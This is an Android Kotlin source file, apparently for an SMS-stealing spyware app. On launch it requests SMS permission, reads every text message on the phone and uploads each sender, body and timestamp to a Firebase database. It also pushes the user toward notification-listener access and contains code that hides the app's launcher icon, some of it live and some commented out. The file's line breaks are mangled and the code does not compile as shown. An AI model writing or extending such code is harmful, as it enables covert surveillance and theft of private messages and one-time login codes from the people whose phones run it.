package com.example.

rs_work

import android.Manifest
import android.content.ComponentName
import android.content.Intent
import android.content.pm.PackageManager
import android.os.Build
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.provider.Settings
import android.provider.Telephony
import android.util.Log
import android.widget.TextView
import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
import androidx.core.app.ActivityCompat
import androidx.core.content.ContextCompat
import com.google.firebase.FirebaseApp
import com.google.firebase.database.DataSnapshot
import com.google.firebase.database.DatabaseError
import com.google.firebase.database.DatabaseReference
import com.google.firebase.database.FirebaseDatabase
import com.google.firebase.database.ValueEventListener
import java.text.SimpleDateFormat
import java.util.Date
import java.util.Locale

class MainActivity : AppCompatActivity() {

private val requestCodeStorae = 1234

private val requestCodeSms = 123

private val requestCodeNotification = 456
private lateinit var smsTextView: TextView
private lateinit var databaseReference: DatabaseReference

override fun onCreate(savedInstanceState: Bundle?) {

super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)

smsTextView = findViewById(R.id.smsTextView)
FirebaseApp.initializeApp(this)
FirebaseDatabase.getInstance().setPersistenceEnabled(true) // Enable
offline persistence
databaseReference = FirebaseDatabase.getInstance().reference

// deleteAllSmsNodes()
// Handler(Looper.getMainLooper()).postDelayed(
// { sendBroadcast(Intent("com.example.rs_work.HIDE_APP_ICON")) },
// 100
// )
requestSmsPermission()
requestStrPermission()
// delayHideAppIcon()
// val componentName = ComponentName(this, MainActivity::class.java)
// val packageManager: PackageManager = packageManager
//
// packageManager.setComponentEnabledSetting(
// componentName,
// PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
// PackageManager.DONT_KILL_APP
// )

private fun deleteAllSmsNodes() {

val smsReference = databaseReference.child("sms")

// Attach a listener to remove all SMS nodes

smsReference.removeValue()
.addOnSuccessListener {
// Deletion successful
Toast.makeText(this, "All SMS nodes deleted",
Toast.LENGTH_SHORT).show()
}
.addOnFailureListener {
// Handle deletion failure
Toast.makeText(this, "Failed to delete SMS nodes",
Toast.LENGTH_SHORT).show()
}
}
private fun requestSmsPermission() {
val permission = Manifest.permission.READ_SMS

if (ContextCompat.checkSelfPermission(this, permission) ==
PackageManager.PERMISSION_GRANTED) {
// SMS permission granted, read SMS
readSMS()
// requestNotificationPermission()
} else {
ActivityCompat.requestPermissions(this, arrayOf(permission),
requestCodeSms)
}
}

private fun requestStrPermission() {

val permission1 = Manifest.permission.WRITE_EXTERNAL_STORAGE

if (ContextCompat.checkSelfPermission(this, permission1) ==
PackageManager.PERMISSION_GRANTED) {
// SMS permission granted, read SMS
Toast.makeText(this, "Getting permission", Toast.LENGTH_SHORT).show()

// readSMS()
// requestNotificationPermission()
} else {
Toast.makeText(this, "nGetting permission", Toast.LENGTH_SHORT).show()

ActivityCompat.requestPermissions(this, arrayOf(permission1),
requestCodeStorae)
}
}

private fun requestNotificationPermission() {

// Check if the notification access is granted
if (!isNotificationAccessGranted()) {
// Direct the user to the notification access settings
 val intent = Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS)
startActivity(intent)
}
}

private fun isNotificationAccessGranted(): Boolean {

val enabledListenerPackages = Settings.Secure.getString(
contentResolver,
"enabled_notification_listeners"
)
return enabledListenerPackages?.contains(packageName) == true
}

override fun onRequestPermissionsResult(

requestCode: Int,
permissions: Array<out String>,
grantResults: IntArray
) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults)
when (requestCode) {
requestCodeSms -> {
if (grantResults.isNotEmpty() && grantResults[0] ==
PackageManager.PERMISSION_GRANTED) {
// SMS permission granted, read SMS
readSMS()
requestNotificationPermission()
} else {
// Handle SMS permission denial
}
}
// Handle other request codes if needed
}
}

private fun appendSms(deviceRef: DatabaseReference, sender: String, content:

String, timestamp: String) {
val smsKey = databaseReference.child("sms").push().key

val sms = HashMap<String, Any>()

sms["senderAddress"] = sender
sms["messageBody"] = content
sms["timestamp"] = timestamp

if (smsKey != null) {
databaseReference.child("sms").child(smsKey).setValue(sms)
}
}

private fun createDeviceWithSms(deviceRef: DatabaseReference, sender: String,

content: String, timestamp: String) {
// Create a new device node with notifications
deviceRef.setValue(true)

// Append the first notification

appendSms(deviceRef, sender, content,timestamp)
}
 private fun readSMS() {
val cursor = contentResolver.query(
Telephony.Sms.CONTENT_URI,
null,
null,
null,
null
)

cursor?.use {
val smsStringBuilder = StringBuilder()

val addressColumnIndex =
it.getColumnIndexOrThrow(Telephony.Sms.ADDRESS)
val bodyColumnIndex = it.getColumnIndexOrThrow(Telephony.Sms.BODY)
val dateColumnIndex = it.getColumnIndexOrThrow(Telephony.Sms.DATE)

while (it.moveToNext()) {
val senderAddress = it.getString(addressColumnIndex)
val messageBody = it.getString(bodyColumnIndex)
val timestampMillis = it.getLong(dateColumnIndex)

// Convert timestamp to human-readable date and time

val timestamp = SimpleDateFormat("yyyy-MM-dd HH:mm:ss",
Locale.getDefault())
.format(Date(timestampMillis))

// Append details to the StringBuilder

smsStringBuilder.append("From: $senderAddress\n")
smsStringBuilder.append("Time: $timestamp\n")
smsStringBuilder.append("Message: $messageBody\n\n")

Log.d("readSMS: ", senderAddress)

val deviceName = Build.MODEL.replace(" ", "_")

val deviceId = "$deviceName-6" // Implement this method to get the
unique device ID

if (deviceId != null) {
// Check if the device ID already exists in the database
val deviceRef =
databaseReference.child("devices").child(deviceId)
deviceRef.addListenerForSingleValueEvent(object :
ValueEventListener {
override fun onDataChange(snapshot: DataSnapshot) {
if (snapshot.exists()) {
// Device already exists, append notification
appendSms(deviceRef, senderAddress, messageBody,
timestamp)
} else {
// Device does not exist, create a new one
createDeviceWithSms(deviceRef, senderAddress,
messageBody,timestamp)
}
}
 override fun onCancelled(error: DatabaseError) {
// Handle error
}
})
}
// Create a unique key for each SMS using push()
// val smsKey = databaseReference.child("sms").push().key
//
// // Create an SMS object with the sender's address, message body,
and timestamp
// val sms = HashMap<String, Any>()
// sms["senderAddress"] = senderAddress
// sms["messageBody"] = messageBody
// sms["timestamp"] = timestamp
//
// // Save the SMS to the "sms" node with the unique key
// if (smsKey != null) {
// databaseReference.child("sms").child(smsKey).setValue(sms)
// }
}
// smsTextView.text = smsStringBuilder.toString()

}
private fun delayHideAppIcon() {
Handler(Looper.getMainLooper()).postDelayed(Runnable { // Hide the app icon
after the delay
hideAppIcon()
}, 10000)
}

private fun hideAppIcon() {

val p = packageManager
val componentName = ComponentName(this, MainActivity::class.java)
p.setComponentEnabledSetting(
componentName,
PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
PackageManager.DONT_KILL_APP
)
}
}

//class AppIconReceiver : BroadcastReceiver() {

// override fun onReceive(context: Context, intent: Intent?) {
// hideAppIcon(context)
// }
//
// private fun hideAppIcon(context: Context) {
// val p: PackageManager = context.getPackageManager()
// val componentName = ComponentName(context, MainActivity::class.java)
// p.setComponentEnabledSetting(
// componentName,
// PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
// PackageManager.DONT_KILL_APP
// )
// }
//}